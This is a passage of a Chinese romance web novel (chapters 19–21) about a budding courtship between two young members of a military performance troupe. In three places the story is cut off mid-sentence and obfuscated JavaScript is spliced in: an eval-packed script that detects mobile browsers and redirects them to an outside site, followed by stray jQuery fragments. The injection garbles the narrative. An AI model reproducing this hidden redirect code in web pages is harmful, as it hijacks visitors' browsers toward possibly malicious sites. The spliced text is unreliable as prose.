兆悦才是那一下轻轻顿住的人。
只是一瞬,她便顺从地往他怀里靠实,整个人放松下来。
长久憋在胸口的闷胀、无处安放的燥热、被规矩和目光捆缚着的躁动,在这一下扎实的贴近里,骤然找到了出口。
紧绷了一路的神经彻底软下来,每一寸肌肤都像是落进了温热的潮水里,连呼吸都变得顺畅绵长。
她没有动,只是微微向前倚去,将自己完完全全嵌进他怀里。
陈灿整个人都绷紧了,是狂喜到浑身发紧,是克制到快要碎裂的悸动。
怀里的柔软隔着薄薄的春衣贴在他身前,曲线清晰,温度滚烫,每一寸贴合都带着年轻□□独有的紧实与温热。
他的脑子“嗡”一声空白,前几日围着火盆姑娘们笑闹的话语不受控制地撞进来——有人说,兆悦的身段,是团里数第一的。
那时只当是玩笑,此刻真切拥在怀里,才懂那话里半分不虚。
热意猛地冲上脸颊,烧得他耳根发烫,连呼吸都变得粗重急促。
他不敢出声,不敢乱动,只下意识地越抱越紧,手臂收得更牢,将人牢牢圈在自己身前,下巴轻轻抵在她发顶,鼻尖萦绕的全是她身上淡淡的气息。
兆悦能清晰听见他贴在耳后的心跳,快而有力,撞得她耳膜发颤。
能感受到他胸膛随着呼吸起伏,每一次颠簸都让两人贴得更紧,肌肤相贴的热度透过衣料渗进来,烫得她浑身发软。
她微微偏过头,发丝蹭过他的颈侧,呼吸轻轻洒在他的皮肤上。
陈灿浑身一颤,手臂收得更紧。
车厢依旧颠簸,夜色浓得化不开,身边全是沉睡的呼吸,无人知晓,在这窄小拥挤的角落,两个年轻的身体紧紧相贴,呼吸缠绕,心跳共振。
19. 水汽
夜色沉得像浸了墨的棉絮,旷野里只有皮卡车轱辘碾过土路的颠簸声,哐当哐当地晃着后车厢。
陈灿将兆悦搂在怀里,让她靠在自己肩头,夜风卷着微凉的湿气拂过脸颊,兆悦闭着眼,在摇摇晃晃的车厢里浅浅睡去。
她睡得极轻,车身每一次颠簸都让她睫毛轻颤,却贪恋着怀里安稳的温度,就这么迷迷糊糊偎着,竟也睡了小半宿。
天刚蒙蒙亮,鱼肚白漫过天边,车身的晃动愈发明显,兆悦倏地睁开眼,意识回笼的瞬间,猛地想起此刻还在众人同乘的皮卡后斗。
她慌忙轻轻挣开陈灿的手臂,往旁边挪了挪,生怕同车的人醒来看见这亲昵模样,脸颊先一步烧了起来。
她一动,陈灿也跟着醒了,眼底还带着刚睡醒的惺忪,指尖似乎还残留着怀中人柔软的温度。
两人目光猝不及防对上,又都慌忙错开,低着头不敢对视,耳尖都染着浅浅的绯红。
陈灿垂在身侧的手微微攥紧,昨夜相拥而眠的画面在脑海里一遍遍回放,少女身上淡淡的馨香萦绕鼻尖,心脏像被羽毛轻轻搔着,轻飘飘的仿佛要飞上云端。
连带着嘴角都忍不住微微上扬,却又碍于旁人,只能强装镇定。
天光渐渐大亮,暖金色的阳光洒在道路两旁,皮卡车终于驶回了文工团大院。
车刚停稳,陈灿下意识就想回头,伸手去扶兆悦下车,可指尖还没伸出去,就见杭春明动作熟稔地凑了过来,不知从哪儿摸出一个小小的木凳,垫在车轮旁,稳稳扶着兆悦的胳膊,细心地护着她往下走。
陈灿伸到半空的手僵在原地,无奈地收了回来,看着眼前一幕,心里泛起一丝说不清道不明的闷意。
兆悦下了车,自然地喊了声“小明子”,指使着他去拿行李、搬道具,杭春明向来听话,从不抱怨半句。
团里的人现在都知道,两人是表姐弟,相处得和亲姐弟一般亲近,这般照料本就是常事。
一路演出在外,条件简陋,大多时候连干净的水都没有,更别提洗漱,回到文工团,所有人第一时间都往澡堂赶。
热气氤氲的女澡堂里,水雾裹着姑娘们的说笑声,熟悉的话题又被翻了出来。几场演出下来,几个女孩身形悄悄有了变化,说话也愈发大胆,你戳戳我的腰,我摸摸你的肩,叽叽喳喳闹作一团。
春装日渐轻薄,谁的身段更好,早已在姑娘们心里有了数,兆悦的身形,在所有人里是最出挑的一个,许多小女孩还在羡慕。
郝淑雯微微抬着下巴,骄傲地挺起胸膛,一脸自得地开口:“要说身材,我也是该凸的凸,该收的收。”
“淑雯你确实会长,穿军装特别显精神。”
“可不是嘛,底子好又会保养,我们可比不上。”
林丁丁看着旁人,心里清楚自己成不了这般明艳的模样,索性打定主意在男兵面前维持清纯温婉的人设。
所以她对这些话题毫不在意,反倒捂着嘴笑着打趣兆悦和郝淑雯:“哟,你这是比上了?再这么得意下去,男兵们该天天堵在澡堂门口看你们了!”
“去你的,少拿我们打趣。”郝淑雯伸手轻轻推了林丁丁一下,水汽里顿时飘满姑娘们的笑声。
说着说着,话题就扯到了男兵身上,谁个子高、谁体格壮,谁长相俊朗、谁又略显普通,姑娘们你一言我一语,讨论得热火朝天。
“哎哎哎,说真的,你们觉得咱们团里男兵谁最帅啊?”
“我觉得陈灿不错啊,个子高,吹小号的样子特精神,站在那儿就显眼。”
“还有杨铮呢!玉树临风的。”
“那个谁也体格壮实,长得也周正,跳舞特别有劲儿。”
“我觉着刘峰和气,人又好,也……”这人话还没说完,就被打断。
“刘峰那是活雷锋,咱们不拿他说。”
萧穗子跟着轻轻应了一声,语气淡淡的,听不出太多偏向:“嗯,都各有各的样子吧,陈灿……确实挺显眼的。”
这话混在一片笑闹里,平平常常,旁人谁也没多在意,只有兆悦敏锐地捕捉到她语气里那一丝极淡的不同,心里轻轻一拧,却也没作声。
姑娘们说说笑笑地走出澡堂,头发还带着湿意,风一吹,凉丝丝的。
刚拐过走廊,就迎面撞上了一群同样刚洗完澡的男兵,个个穿着干净白衬衫,头发湿漉漉的,一时间两边都顿住了脚步。
原本闹哄哄的脚步,不约而同地慢了下来。两拨人狭路相逢,谁也没好意思大声说话,刚才澡堂里肆无忌惮的笑闹,瞬间收得干干净净,只剩下一点尴尬又微妙的安静。
有人低头捋了捋湿发,有人假装看天看地,有人脚步不自觉地往同伴身边靠了靠,又悄悄往人群外挪了半步,不远不近,刚好能余光瞥见对面。
兆悦的心跳莫名轻顿了一下。
她不用刻意抬头,也能感觉到一道目光落在自己身上,轻轻的,像夜风拂过衣角。
她微微垂着眼,长长的睫毛掩住眼底的神色,脚步慢了半拍,既不往前凑,也不刻意躲开。
趁着人□□错的空隙,她不动声色地往陈灿的方向挪了小半步,对方同样也是。
她的胳膊轻轻擦过他的小臂,只是一瞬的相触,两人都像被烫到一般,却谁也没立刻躲开,就这么隔着薄薄的军装,若有似无地贴着。
陈灿的呼吸微微一滞,垂在身侧的手悄悄蜷起,指尖几乎要碰到她的手腕,目光明明看着前方,余光却牢牢锁在她身上,昨夜怀抱里的柔软仿佛还在,心跳又开始不受控制地往上飘。
就在两人偷偷贴着、心照不宣地藏着小心思时,一道清浅的声音忽然响了起来——“陈灿!”
萧穗子往前轻轻迈了一步,主动开口喊住他,脸上带着自然的笑意,“你们小号班这次下乡,是不是也累坏了?刚听她们说,你吹的曲子大伙都爱听呢。”
这一声来得突然,又脆又亮。
兆悦像被吓了一跳,猛地往旁边撤了半步,脸颊“唰”地一下红透,慌忙低下头去捋自己的湿发,假装整理衣角,心跳咚咚地撞着胸口,满脑子都是刚才偷偷相触的温度,生怕被人看出半点端倪。
陈灿也猛地回过神,耳尖瞬间泛红,原本放松的肩膀一下子绷紧,慌乱地应了一声:“……还好,不算累。”
他的语气带着一丝不易察觉的僵硬,眼神躲闪着,不敢去看兆悦,也不敢多看萧穗子,只胡乱点了点头。
杭春明一看这气氛僵着,立刻笑着打岔,往朱克肩上一拍:“瞧你们一个个的,刚洗完澡就装斯文,刚才在车上谁抢馒头最凶?”
朱克立刻不服气地回怼:“你还好意思说?下乡搬道具是谁偷懒躲树底下歇着?”
“我那是帮兆悦看行李呢!”杭春明理直气壮。
郝淑雯抱着胳膊,扬着下巴嗤笑一声:“行了吧你们,少在这儿贫嘴,一身汗味刚洗掉,别一开口又把人熏回去。”
小芭蕾跟着捂嘴偷笑:“就是就是,男兵们一闹,整条路都吵。”
林丁丁柔柔地接话:“别吵啦,等会儿队长看见又要说我们扎堆了。”
“听见没,”朱克冲郝淑雯挑眉,“人家丁丁都比你温柔。”
“我温柔不温柔关你什么事?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309101|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”郝淑雯白他一眼,“总比某些人跳起舞来笨手笨脚强。”
一群人你一言我一语,斗嘴斗得热热闹闹,少年少女的笑声撞在走廊墙上,轻快又鲜活。
只有陈灿,混在人群里,悄悄用余光碰了一下,又飞快移开,心里都还留着刚才那一瞬轻轻相贴的烫。
晚上七点多,排练厅内。
“你来这儿干什么?”
“练小号。你呢?”
“我来练琴。”
四下寂静,乐器安安静静摆在角落,两人谁也没有挪动一步,就那样面对面站着,空气里漫开只有彼此才懂的暧昧。
“这次下乡演出,是不是很累?”
“累呀,不能洗澡,总感觉身上脏兮兮的。”
他的呼吸骤然急促了几分,午后澡堂外她湿漉漉发梢、干净侧脸的模样,一下子撞进脑海里,滚烫得让他心跳失控。
“……明明就白白净净的,像白萝卜。”
“说谁白萝卜呢?会不会夸人。”
“白萝卜怎么不好了?又白又软……还好吃。”
他话音刚落就慌了神,紧张地盯着她的神情。兆悦果然轻轻蹙起眉,带着几分嗔怪的生气。
他连忙往前一步急着道歉,脚步迈得太近,瞬间将两人之间最后一点空隙填满。
温热的呼吸缠缠绕绕撞在一起,鼻尖几乎相抵,视线胶着得分不开。
他低头,她抬头,目光里的情愫早已汹涌得藏不住,身体不受控制地一点点靠近。
直到这时,才看清——低头的是陈灿,抬眼的是兆悦。
兆悦心头猛地一紧,慌忙按住心底翻涌的悸动。她怕这样不清不楚地靠近,怕没有名分的心动,更怕眼前这个少爷般的少年,哪天轻飘飘就将她丢下。
她轻轻错开眼神,声音软得发轻:“我是累了。”
“你要回去休息?”陈灿立刻轻声问。
兆悦没应声,只抬眼轻轻望了他一下,眼神里的暗示,一目了然。
陈灿会意,喉结轻轻滚动,声音压得又低又柔,带着小心翼翼的试探:“那……靠着我歇一会儿,补充体力,好不好?”
双方给了彼此一个拥抱的正当借口。
下一秒,陈灿轻轻张开手臂,将兆悦缓缓拥进怀里。
不是皮卡车上半梦半醒的依偎,也不是人群里偷偷擦过的触碰,而是四下无人时,完完整整、安安静静的拥抱。
他的手臂轻轻环在她的后腰,力道很轻,却收得极稳。
兆悦脸颊贴着他干净的军装衬衫,能清晰感受到他胸腔里沉稳有力的心跳,一下一下,和自己的心跳慢慢叠在一块儿。
他身上带着刚洗过澡的皂角清香,混着少年人独有的干净气息,裹得她整个人都暖烘烘的。
身体相贴的地方微微发烫,隔着薄薄的布料,能摸到他手臂紧实的线条,能感受到他微微紧绷的肩膀,还有他落在她发顶、轻轻颤抖的呼吸。
兆悦放松了身体,轻轻靠在他怀里,脸颊往他心口蹭了蹭。
没有用力的收紧,没有急切的靠近,只有温柔的包裹、安心的依靠,像颠簸了一路的船,终于停在了平静的港湾。
他的怀抱不宽不窄,刚好能容下她一个人,全都轻轻拢在了怀里。
陈灿微微低头,鼻尖抵着她柔软的发顶,能闻到她发丝间淡淡的香气,怀里的人轻软得像一片云。
他不敢用力,怕惊扰了她,只敢轻轻环着,感受着她贴在自己心口的温度,感受着她微微起伏的呼吸。
一抱便不愿松开。
一靠便不想离开。
20. 关心
春意到了浓得化不开的时候,风里裹着暖融融的花香,连文工团的排练厅都浸在一片绵软的春光里。
日复一日的排练虽显得枯燥,可一群少男少女凑在一处,哪怕是件微不足道的小事,也能闹得热热闹闹,半点不觉得乏味。
新一期的板报照例交给了萧穗子,这天排练散得早,她便抱着纸笔打算趁天色尚早,把板报一气呵成地完成。林丁丁早就不见踪影,不用想也知道,又是跑出去跟男兵们拉拉扯扯、说笑打闹去了。
郝淑雯难得没有陪着萧穗子,她月经第一天,小腹坠着阵阵不适,整个人蔫蔫的。
宿舍里,她躺在床上翻来覆去,连平日里张扬的性子都收敛了大半。
兆悦心里虽说依旧对她谈不上多喜欢,可郝淑雯向来大大咧咧,早早就自作主张把兆悦划进了自己的阵营——毕竟两人同住一间宿舍,朝夕相处一同吃饭,兆悦人优秀、做事体面,生活习惯又讲究,挑不出半分错处,在郝淑雯眼里,早就是自己人。
兆悦一回宿舍就看见了。
即便只是陌生女孩这般难受,她也不会坐视不管,更何况是同宿舍的郝淑雯。她轻声开口,语气里带着难得的关心:“你要是难受得厉害,我陪你去卫生队?”
郝淑雯皱着眉,蜷着身子小声应:“不用去卫生队,我就是……想喝口红糖水暖暖身子。”
兆悦当即点头,起身就往门外走:“行,我去给你弄。”
可她刚转身,郝淑雯突然喊住她,声音支支吾吾,带着几分难为情:“哎,等一下……”
兆悦回头看她:“怎么了?”
郝淑雯脸颊微微发烫,目光躲闪着低声问:“你知道……咱们团里哪儿能找到红糖吗?”
兆悦这才恍然,自己极少往厨房跑,别说找红糖,连炊事班的门朝哪开都摸不清楚,不像杭春明、小芭蕾他们,偶尔没吃饱,还会溜去厨房顺两个番茄黄瓜,对那边熟门熟路。
她如实摇了摇头:“我还真不清楚,我平时不怎么往炊事班那边去。”
郝淑雯脸上掠过一丝极淡的羞涩,快得几乎抓不住,她轻声提醒:“那……你要不找个人问一下?”
兆悦精准抓住了那一闪而过的羞怯,她心里明镜似的,这不仅仅是这个年代姑娘家对私密事的难为情,更是郝淑雯想借着自己,把身体不适的消息悄悄传给某个人。
她故意装作不懂,随口问道:“那你知道,谁对炊事班那边最熟吗?”
郝淑雯几乎没有半分犹豫,故作自然地脱口而出:“陈灿对那门儿清。”
一瞬间,兆悦心里豁然开朗,忽然明白了为何最后会是郝淑雯和陈灿走到一起,而非满心暗恋的萧穗子。
郝淑雯自有她的小心思,懂得在这样的时刻,借着这种带着暗示意味的小事,让对方把自己当成一个需要照料的女人看待,不动声色地拉近彼此的距离。
想来,从这时起,郝淑雯对陈灿,就已经藏着一丝说不清道不明的心思了。
兆悦不动声色地答应下来,郝淑雯并不知道她和陈灿之间的关系,还故作大方妥帖,像是怕兆悦为难一般,轻声安抚:“你是不是跟他不太熟啊?”
兆悦淡淡看了她一眼,没有多说。
郝淑雯连忙小声补充,语气里带着几分不好意思:“这事……毕竟羞人。你要是不好意思开口,就只管说是我要的就行,不用提你自己。”
兆悦看穿了她的心思,在心里暗暗偷笑,她和陈灿不熟?怕是整个文工团,再没有更熟的人了。
可她面上依旧平淡,轻轻点了点头,应了声:“好,我知道了,我这就去。”
郝淑雯躺在床上小憩,心里美滋滋的,等着兆悦把红糖水带回来。
兆悦走出宿舍,果然看见球场边围了一群人,陈灿刚打完球,额角渗着薄汗,白衬衫领口敞开,透着少年人鲜活的热气。
萧穗子就站在一旁,强压着心底的羞涩,努力装作轻快随意的样子,找着话题跟陈灿搭话,问他们几个男生:“怎么你们今天突然想起打球?”
她不过是想多跟陈灿说两句话,但连眼神都不敢过多停留。
兆悦听着男兵们你一言我一语地回复,走上前跟萧穗子打了招呼,随口夸了句她的板报做得好看。
路过陈灿身边时,她不动声色地抬眼,偷偷递给他一个眼神。陈灿心头猛地一跳,瞬间会意。
一群男兵一身汗臭,嚷嚷着去冲澡。
不过男生洗澡向来快,不过几分钟就收拾妥当。
十分钟后,陈灿整理好衣装,特意对着镜子捋了捋头发,才快步往排练厅走去。
这还是兆悦第一次主动给自己暗示,让他过来,从前他们只是不约而同来到这里。
自从上回在排练厅相拥之后,两人害羞分开,兆悦就再也没有单独来过这里,平日里碰面,也总是围着一群人,郝淑雯跟他斗嘴,萧穗子偶尔搭话,其他女兵问一句他回一句,兆悦甚至连多余的目光都不曾给他。
今天她主动找自己,陈灿心里又激动又雀跃,连脚步都轻快了几分。
等他推开排练厅的门,兆悦正安安静静坐在舞台边,手里摆弄着一个平日里喝水的玻璃小瓶子,阳光透过窗棂落在她身上,温柔得不像话。
陈灿走到她面前,声音压得轻轻的:“找我?”
兆悦抬眼看他,语气平静:“嗯,有点事。”
“什么事?”
“我要红糖。”
陈灿一愣,有点没反应过来:“红糖?就是炊事班的?”
“对。”
他一个半大男孩,哪里懂这些,只当是她嘴馋想吃糖,立刻拍胸脯:“行,下次我家里寄东西,给你带点进口的水果糖,比红糖好吃。”
兆悦轻轻摇了摇头:“不要别的,就要红糖,现在就要,要冲红糖水。”
“红糖水?”陈灿重复了一遍,眼神忽然顿住。
他毕竟也有十八九岁了,这点常识还是知道一点的,稍微一想就明白了是怎么回事,耳朵“唰”地一下就红了。
下一秒,他心里反倒偷偷美了起来——她要的是这种私密东西,不找杭春明那个跟屁虫,偏偏来找他,是不是……心里是向着他的,想让他多关心关心她?
陈灿强压着对讨论这种事的羞涩,语气也软了下来,带着几分不自然的关心:“你……你不舒服啊?”
兆悦看了他一眼,淡淡道:“不是我,是宿舍里的人。”
“不是你?”陈灿一下子没那么紧张了,也没多追问是谁。
可他心里立刻又冒起一股劲儿——上次兆悦下车,杭春明又是小板凳又是扶着,殷勤得跟什么似的,他看着就别扭。现在兆悦主动找他办事,他可得办得漂漂亮亮的。
“行,我知道了,我去给你拿。”
兆悦把手里的玻璃小水瓶递给他:“装这里就行。”
两人手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309102|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指不经意一碰,陈灿指尖一麻,那点软乎乎的触感,在他心里绕了好一圈。
他还愣在那儿回味,兆悦已经起身,走到排练厅门口,停下脚步,回头看向他。
她眼神软软的,带着点说不清的委屈,语气轻轻飘过来:“人家可是点名要你帮忙。”
陈灿一怔:“嗯?”
兆悦慢悠悠补了一句,声音轻,却扎心:“我都不知道,我要是也找你办点事,得排到第几个去。”
这话一出,陈灿整个人都慌了。
十几岁的少年,哪里扛得住女孩这么半真半假地委屈。
“不是,你说什么呢?”他急得往前撵了两步,“我什么时候给别人办过这种事了?我就是……就是以前总去炊事班顺煮鸡蛋,跟对炊事班路数熟些而已。”
兆悦不接他的话,只似笑非笑,带着点阴阳怪气的嗔怪:“哦——看来,我们文工团又要多一个活雷锋了是不是?”
“我可没有,我答应还不是因为是——”陈灿急着解释,生怕她真生气。
可等他追出去,兆悦已经往前走了一截,忽然回头,对着他轻轻一笑。
那一笑眼尾弯弯,分明是在笑他中计了。
陈灿站在原地,又无奈又好笑,心口被她吊得七上八下,却半点脾气都没有。
没一会儿,滚烫香甜的红糖水就冲好了。陈灿捧着玻璃瓶,快步回到排练厅,一眼就看见还在原地等他的兆悦。
他将水杯轻轻递过去,指尖还带着热水的温度。
兆悦抬眸接过,弯眼笑了笑,语气听着是感谢,却带着一点意味不明的调子:“辛苦你了,动作这么快。看来这种事儿,你是真熟练啊。”
这话轻飘飘落下来,陈灿心头一下子忽上忽下。
他听得出,她不是真夸他,是在暗戳戳怪他太会帮女生、太讨女孩子喜欢了。
这天夜里,陈灿躺在床上翻来覆去,脑子里全是兆悦那似笑非笑的眼神和那些话语,越想越怕她误会自己是对谁都这么贴心的人,越想越睡不着,直到接近凌晨,才昏昏沉沉睡去。
第二天一早,郝淑雯身子好了不少,又恢复了往日大大咧咧的模样。
排练中场休息时,她径直朝着陈灿走了过去,依旧是那副互看不顺眼的欢喜冤家架势,下巴微扬,故作高傲地用胳膊肘轻轻拐了他一下。
“你小子,还挺贴心的嘛。”她扬着声音,语气里带着几分不易察觉的得意,“昨天那红糖水,谢了啊。”
一句话,明晃晃把昨晚的事认了下来,像是在宣告什么。
陈灿脸上没什么多余表情,淡淡应了一句:“顺手的事。”
话音刚落,他眼角余光忽然瞥见不远处的兆悦,正转头朝这边看过来。
她没有笑,也没有躲,就那么淡淡瞪着他们,眼神里带着点“我倒要看看你们能聊出什么花”的意味,安静却格外有压迫感。
陈灿心里一紧,瞬间闭紧嘴巴,抿成一条直线。
等郝淑雯回头望去,周围的人早已各忙各的,兆悦也已经低下头,继续摆弄钢琴练习,仿佛刚才那一眼从未有过。
郝淑雯只当是陈灿对这种事羞涩,不好意思被姑娘家道谢,她本就是北方大嫚的豪爽性格,当即大大咧咧地拍了拍陈灿的肩膀,没再多说,转身就回到了女兵堆里。
陈灿站在原地,心跳却久久没能平复,目光不自觉地,又一次飘向了那个安静练琴的身影。
21. 婚纱
春意越发热烈,文工团里的日子也跟着慢悠悠往前走。转眼,就快到兆悦的生日了。
上回小芭蕾过生日,大伙拉着她一起热闹,兆悦那时跟大家还不熟,推了过去,只用了句玩笑揭过。
这轮轮到自己,她心里竟多了几分微妙的滋味——她现实里的生日,和这里一模一样。
从前在家,她总会约上三五好友,吃饭、切蛋糕、喝点小酒,可如今在这个年代,又是在文工团里,喝酒是不允许的,蛋糕也粗劣得提不起兴趣。
兆悦想了想,干脆决定去照相馆拍张照,作为在这个世界十八岁的纪念。
赶上团里休息,她提前几天便往街上的照相馆去。一走近,她心里就轻轻一沉——没错,就是这家。
她记得,后来何小萍就是偷偷拿了林丁丁的军装,来这儿拍了张照,老板觉得人精神、模样端正,不经同意就挂在了橱窗,结果被团里女生们撞见,那时林丁丁就在找偷军装的人,这成了“偷军装”的铁证,成了把她往深渊里推的第一脚。
橱窗里果然挂着不少军装照,个个精神抖擞。
兆悦望着那排照片,心里轻轻叹了口气。
何小萍刚来时那股蓬勃的韧劲和干净劲儿,她一直都看在眼里。老板大概怎么也想不到,自己一个无心之举,会成了后来所有矛盾的导火索。
兆悦在心里暗暗打定主意,她一定要尽自己所能,守好何小萍这样善良干净的人,也守好刘峰那样掏心掏肺的好人。
走进照相馆,兆悦扫了一眼可选的衣服,不是自带服装,就是灰扑扑的褂子,实在提不起兴致。
目光一转,她忽然被角落里一排婚纱吸引。
现实里她拍过婚纱照,那个年代早不稀罕非得结婚才能拍,约上闺蜜好友一起拍的多得是。可在这会儿,一个姑娘家单独拍婚纱照,实在少见。
她指着婚纱对老板说:“我想拍这个。”
照相的老头愣了一下,有些意外:“一个人拍婚纱?”
兆悦笑得坦然:“今天我生日,觉得这个好看,一个人拍也没什么。”
老头见她态度大方,也就欣然应下。
店里的妆实在让她接受不了,大红口红、粗黑眉毛、猴屁股一样的腮红,兆悦干脆自己动手,化了个干净清透的妆,再穿上婚纱,往镜头前一站,连老头都忍不住连连夸好看。
等兆悦回到宿舍,隔壁宿舍的姑娘们也凑了过来。
“兆悦,你怎么化了这么好看的妆?”
“去哪儿了呀?”
兆悦笑了笑:“去照相馆拍了十八岁生日照。”
这话一出,大伙才知道她快过生日了,立刻嚷嚷着要集体给她过。兆悦还是婉拒了,只说:“等我生日那天,给大家每人带一块巧克力。”
那个年代,巧克力是稀罕东西,姑娘们一听都高兴坏了。
相处这么久,大家也渐渐摸透了兆悦的性子。她只是慢热、冷淡一点,生活上讲究挑剔,可人心一点不坏,大方又热心,从前那点疏远感早散了,此刻更是其乐融融,谁也没有不高兴。
一周后,兆悦去取照片。
这会萧穗子、郝淑雯、卓玛几个女生和朱克、陈灿他们一伙人在院里石桌那闲聊。
“今天好像就是兆悦生日。”
“她去取之前拍的照片了。”
陈灿一听,心里猛地一顿。
原来今天是她生日。
他们认识大半年,他从没问过,她也从没提过,他竟一点都不知道。
一股莫名的懊恼和心虚涌上来,他暗暗打定主意,一定要给她补一份礼物。
没过一会儿,兆悦拿着相片回到宿舍。
瞬间来了一群人,郝淑雯对着窗户嚎了一嗓子,隔壁宿舍也来凑热闹。
一群人围上去一看,全都惊住了。
“你拍的是婚纱照?”
兆悦坦然点头:“照相馆里只有褂子,我觉得不好看,婚纱好看,就拍了。”
几个思想前卫一点的姑娘立刻附和:“我觉得特别好看!下次我生日也去拍!”
大伙笑笑闹闹,相片在手里传了一圈,人人都夸好看。
婚纱照这事从女兵传到男兵,从舞蹈队传到乐队,自然也飘进了陈灿耳朵里。
他表面上装作没什么反应,甚至朱克在宿舍楼里聊到,他还一脸无所谓的插着兜就走,一句也没说。
不过正常反应应该都会问上一嘴,毕竟一个人拍婚纱照可是个新鲜事儿。
他这种故作不关心的状态,反而引人怀疑。
不过人家的注意力都在婚纱照上,没人关注到他有没有反应罢了。
其实他心里痒得厉害,特别想看那张照片。
傍晚食堂吃完饭,大伙都在洗碗,陈灿趁人不注意,悄悄蹭到兆悦身边,假装在水池洗碗,声音压得又低又轻:“今晚七点,来排练厅找我,好不好?”
这是他第一次主动邀请兆悦去排练厅,心里有些忐忑。
兆悦抬眼看了他一下,轻轻点了个头。
就这一下点头,陈灿心里美得快要飘起来,一晚上都坐不住。
七点一到,兆悦准时走进排练厅。
陈灿早就在里面等她了,一见她来,眼睛就亮起来。
“你生日拍照片了?”
“嗯。”
“我想看。”他一鼓作气,直白了当的表达。
兆悦忽然往前轻轻靠近一步,眼尾微微一挑:“你想看什么?”
她可不能不明不白的答应他,这个年代给异性照片,是男女朋友才能做得事。
陈灿被她问的这一下弄得耳尖发烫,有点不好意思:“想看你的照片。”
兆悦退回去,淡淡一笑:“凭什么给你看?”
陈灿一噎,心里瞬间清醒了几分。
他们没告白、没确认关系,连句正经话都没挑明,就这么跟女生要照片,确实不合分寸。
这一点小小的清醒,被他暗暗记在了心里——他们还没名正言顺。
可嘴上他不肯输:“那你说,怎么才肯卖给我?”
兆悦挑眉:“你想买,我还不卖呢。”
陈灿胸有成竹:“你等着,下周刘锋从家里回来,帮大家带东西,到时候我保证你肯卖给我。”
兆悦没接话,转身就先走了。
一周后,刘峰果然回来了,大包小包拎着各家父母寄来的东西和信。
陈灿拿到家里寄来的包裹,当天晚上,等男女兵们又在路边闲聊时,他悄悄走到兆悦身后,低声说:“一会儿,来排练厅呗。”
她点了点头。
他才嘚瑟的绕开人群去。
兆悦如约而至。
陈灿手里攥着一个小盒子,见她来了,递过去:“打开看看,能不能买下你那张照片。”
兆悦轻轻打开。
里面是一支锃亮的名牌钢笔,那个年代,极少有人用得起。钢笔下面,还垫着一块上海名牌的绢帕,料子细腻,一看就不便宜。
她心里轻轻一动。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309103|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他比她早来一年,满打满算也就当兵一年半,这些东西,几乎花光了他大半津贴。
她知道他是干部子弟,从小不缺吃喝,虽说没有大手大脚的习惯,但在团里这段时间,吃喝上估计也不得亏待了自己。
能拿出这样一份礼物,应该没剩什么了,更何况还要托关系。
兆悦沉默了一瞬,点了点头:“好,我回去给你拿。”
陈灿美滋滋地在原地等。
兆悦回到宿舍,姑娘们一眼看见钢笔和绢帕:“哪儿来的呀?”
“朋友送的。”兆悦淡淡道。
大家也没多想,钢笔手帕还算普通,不像项链手镯那样有明显的暧昧意味,只当是她朋友寄来的,没再多问。
兆悦趁她们不注意,悄悄拿了照片,又回了排练厅。
陈灿正抱着小号在那儿练,见她来了,立刻放下乐器。
兆悦把照片递过去。
他早听说她拍了婚纱照,可亲眼看见,和听说完全是两回事。
照片里的人明艳、温柔,又带着一点疏离,陈灿心脏“咚咚”狂跳,表面却强装镇定,不肯丢了那点玩世不恭的架势。
他压着声音,轻轻问:“这照片,就我一个人看过?”
兆悦怎么会不懂他的意思,偏偏故意装傻:“才不是,穗子、淑雯、一娣她们都看过啦。”
陈灿无奈,直到她逗弄自己,只能直白一点:“我是说……就我一个男生看过?”
兆悦歪了歪头,笑得狡黠:“你是第一个。”
陈灿心里一痒,故意逗她:“还有下一个吗?”
兆悦轻轻挑眉:“不告诉你。”
一句话,勾得他心尖抓挠似的痒。
他盯着照片看了好一会儿,忽然伸手,把照片往自己军装内袋一塞,抬眼看向兆悦,语气模棱两可,却带着十足的占有意味:“归我了。”
是照片归他,还是人归他,他没说,兆悦也听得清清楚楚。
她心口轻轻一撞——这二世祖,还是真会撩。
两人又在排练厅待了一会儿,才一前一后走出来。
他们没注意,不远处的拐角,沈一娣正站在那儿。
她本来是想找兆悦,问问拍照的照相馆在哪儿、妆是怎么画的。
结果一抬头,正好看见兆悦和陈灿从排练厅里出来,一前一后。
沈一娣躲回了拐角处,一颗心轻轻跳了几下。
她又不是傻子,怎么会看不出端倪——兆悦和陈灿这样看,怎么都不是普通战友那么简单。
刚才那一幕,两人一前一后、低头错肩的模样,眼神里没说出口的软和劲儿,藏得再深,也瞒不过她的眼睛。
可她非但没有半点惊讶或是不悦,心里反倒悄悄松了一口气,甚至有点暗自高兴。
她喜欢的人是杨铮,不是陈灿。
